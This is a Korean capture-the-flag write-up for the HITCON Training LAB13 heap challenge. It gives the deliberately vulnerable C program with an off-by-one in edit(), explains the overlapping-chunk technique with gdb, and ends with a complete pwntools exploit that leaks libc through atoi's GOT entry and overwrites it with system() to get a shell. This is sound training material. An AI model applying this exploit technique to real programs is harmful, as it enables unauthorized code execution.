ghkdtlwns987

[hitcon_training] LAB13 (Extend Chunks) 본문

hitcon_training

[hitcon_training] LAB13 (Extend Chunks)

2020/03/31 2020. 9. 11. 01:14
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void read_input(char *buf,size_t size){
        int ret ;
    ret = read(0,buf,size);
    if(ret <=0){
        puts("Error");
        _exit(-1);
    }
}

struct heap {
        size_t size ;
        char *content ;
};

struct heap *heaparray[10];

void menu(){
        puts("--------------------------------");
        puts("          Heap Creator          ");
        puts("--------------------------------");
        puts(" 1. Create a Heap               ");
        puts(" 2. Edit a Heap                 ");
        puts(" 3. Show a Heap                 ");
        puts(" 4. Delete a Heap               ");
        puts(" 5. Exit                        ");
        puts("--------------------------------");
        printf("Your choice :");
}

void create_heap(){
        int i ;
        char buf[8];
        size_t size = 0;
        for(i = 0 ; i < 10 ; i++){
                if(!heaparray[i]){
                        heaparray[i] = (struct heap *)malloc(sizeof(struct heap));
                        if(!heaparray[i]){
                                puts("Allocate Error");
                                exit(1);
                        }
                        printf("Size of Heap : ");
                        read(0,buf,8);
                        size = atoi(buf);
                        heaparray[i]->content = (char *)malloc(size);
                        if(!heaparray[i]->content){
                                puts("Allocate Error");
                                exit(2);
                        }
                        heaparray[i]->size = size ;
                        printf("Content of heap:");
                        read_input(heaparray[i]->content,size);
                        puts("SuccessFul");
                        break ;
                }
        }
}

void edit_heap(){
        int idx ;
        char buf[4];
        printf("Index :");
        read(0,buf,4);
        idx = atoi(buf);
        if(idx < 0 || idx >= 10){
                puts("Out of bound!");
                _exit(0);
        }
        if(heaparray[idx]){
                printf("Content of heap : ");
                read_input(heaparray[idx]->content,heaparray[idx]->size+1);
                puts("Done !");
        }else{
                puts("No such heap !");
        }
}

void show_heap(){
        int idx ;
        char buf[4];
        printf("Index :");
        read(0,buf,4);
        idx = atoi(buf);
        if(idx < 0 || idx >= 10){
                puts("Out of bound!");
                _exit(0);
        }
        if(heaparray[idx]){
                printf("Size : %ld\nContent : %s\n",heaparray[idx]->size,heaparray[idx]->content);
                puts("Done !");
        }else{
                puts("No such heap !");
        }

}

void delete_heap(){
        int idx ;
        char buf[4];
        printf("Index :");
        read(0,buf,4);
        idx = atoi(buf);
        if(idx < 0 || idx >= 10){
                puts("Out of bound!");
                _exit(0);
        }
        if(heaparray[idx]){
                free(heaparray[idx]->content);
                free(heaparray[idx]);
                heaparray[idx] = NULL ;
                puts("Done !");
        }else{
                puts("No such heap !");
        }

}
int main(){
        char buf[4];
        setvbuf(stdout,0,2,0);
        setvbuf(stdin,0,2,0);
        while(1){
                menu();
                read(0,buf,4);
                switch(atoi(buf)){
                        case 1 :
                                create_heap();
                                break ;
                        case 2 :
                                edit_heap();
                                break ;
                        case 3 :
                                show_heap();
                                break ;
                        case 4 :
                                delete_heap();
                                break ;
                        case 5 :
                                exit(0);
                                break ;
                        default :
                                puts("Invalid Choice");
                                break;
                }

        }
        return 0 ;
}

 코드는 create, edit, delete, show 함수가 있다. 주의해야할 점은 edit() 함수에서 size+1 값을 해 준다는 것이다. 

heap 문제를 다룰 때 힙을 자유자재로 할 수 있도록 만들어진 것 같다. 

 

먼저 Extend Chunks 를 알아보도록 하자.

how2heap 문서를 참조하겠다

how2heap 에서는 heap chunk 를 3개 할당하고, 2번째 index를free 시켰다.

그리고 또다른 동일한 chunk 크기의 data를 입력해 준다. 그럼 이 malloc 은 이전에 free 되어진 chunk를 가리키는데, 

이때, unsorted bin 에서 새로 수정된 heap을 할당해 준다. 

(정리) overlapping chunk 는 free() chunk를 만들고, unsorted bin에서 힙을 할당할 때 chunk size를 추가로 입력해 overflow를 유발해 exploit 하는 기법이다. 

 

gdb로 분석하면서 설명을 해보이겠다.

먼저, 2개의 chunk를 할당한다(각각 40byte, 16byte씩)

다음과 같이 chunk size 는 0x31, 0x21 씩 할당이 됬다.

 

다음으로 edit() 함수를 이용해 입력했던 heap chunk 의 size를 조작해 줄 건데,

0x41로 바꾸어 줄 것이다. 그럼 heap_data(0x32) + 8(size) 가 되므로

Dummy(0x32) + 0x41 로 넣어주면 될 것이다. 

정상적으로 변경되었다.(size값) chunk 의 size값은 0x41이 된다. 

 

그리고 delete(1) 를 통해서 아까 두 번째에 할당했던 chunk 를 free() 시켜주게 되면

0x10 이었던 chunk 0x41 로 착각해 fastbin 에 들어가게 될건데, 

여기서 다시 create() 함수로 48byte(0x30) 만큼을 할당받게된다면?

?

원래는 create() 를 할당 받을 때 0x8e42d0 에 값이 들어갔는데,

이번에는 0x8e42b0 에 값이 들어갔다. 

 

왜 이렇게 되었냐면 난 처음에 0x28, 0x10 의 데이터를 할당했었다. 

그런데, edit() 으로 index(1) chunk 의 size 를 0x41 로 변경했고,

delete(1) 로 인해 0x10 의 데이터를 free() 시켰는데, 난 아까 index(1) 의 chunk size 를 0x41 로 변경시켰기 때문에, 

0x8e42d0 의 값이 먼저 free() 되어 0x41크기의 chunk 가 fastbin 에 들어가게 될 것이다.

그리고 create() 로 heap 을 할당한다면 위 사진과 같이 0x8e42d0 에서부터 0x41만큼의 값을 할당해야하기 때문에, 

0x8e42b0 부터 값을 쓰게 되는 것이다. 

libc_leak 하기 위해 context 의 주소에다가 atoi_got 를 주었고, 이를 이용해 libc_Base 를 구하고 

content 포인터값에 system() 함수의 주소를 줘서 Exploit 했다.

 

그림으로 표현한다면 다음과 같을 것이다.

size = 0x41

 

 

chunk2 free
overwrite chunk2 CCCC..
content 주소에 atoi_got 를 넣어준다.

이후부터는 system() 함수의 주소를 구해 '/sh' 를 입력해 주도록 하자.(+중간에 show 로 libc_base 를 leak 하는데 애좀 먹었다)

from pwn import *
context(arch='amd64',os='linux')
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']

r = process('./heapcreator')
elf = ELF('./heapcreator')
libc = elf.libc

#gdb.attach(r)

def create(size,content):
    log.info('create')

    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)
    r.recvuntil('SuccessFul\n')
    pause()

def edit(idx,content):
    log.info('edit')

    r.sendlineafter(':','2')
    r.sendlineafter(':',str(idx))
    r.sendlineafter(':',str(content))
    r.recvuntil('Done !\n')

    pause()

def show(idx):
    log.info('show')

    r.recvuntil('choice :')
    r.send('3'+'\x00')
    r.recvuntil(' :')
    r.send(idx)
    r.recvuntil('Content : ')
    value = r.recvuntil('\n').rstrip()
    r.recvuntil('!\n')

    return value
    pause()
def delete(idx):
    log.info('delete')
    r.sendlineafter(':','4')
    r.sendlineafter('Index :',str(idx))
    r.recvuntil('Done !\n')
    pause()

def info_log():
    log.info('create = main + 154')
    log.info('edit = main + 166')
    log.info('del = main + 190')
    log.info('show = main + 178')

    pause()

def main():
    info_log()

    create(40,'A'*8)
    create(16,'B'*8)

    payload = ''
    payload += 'A'*40
    payload += '\x41'

    edit(0,payload)
    delete(1)
    create(48,'C'*8)

    atoi_got = elf.got['atoi']
    payload = ''
    payload += 'D'*32
    payload += '\x30' + '\x00'*7
    payload += p64(atoi_got)

    edit(1,payload)

    atoi_got = show('1')
    atoi_got = u64(atoi_got + '\x00'*(8-len(atoi_got)))

    libc_base = atoi_got - libc.symbols['atoi']
    system = libc_base + libc.symbols['system']

    edit(1,p64(system))

    r.recvuntil('choice :')
    r.sendline('sh')
    r.interactive()

if __name__ == '__main__':
    main()

 

 

'hitcon_training' 카테고리의 다른 글

[hitcon_training] LAB 15 (zoo)  (0) 2020.09.24
[hitcon_traininig] LAB 14 (magicheap)  (0) 2020.09.21
[hitcon_training] lab 12 (secretgarden)  (0) 2020.09.07
[hitcon_training] LAB11 (bamboobox)  (0) 2020.09.06
Comments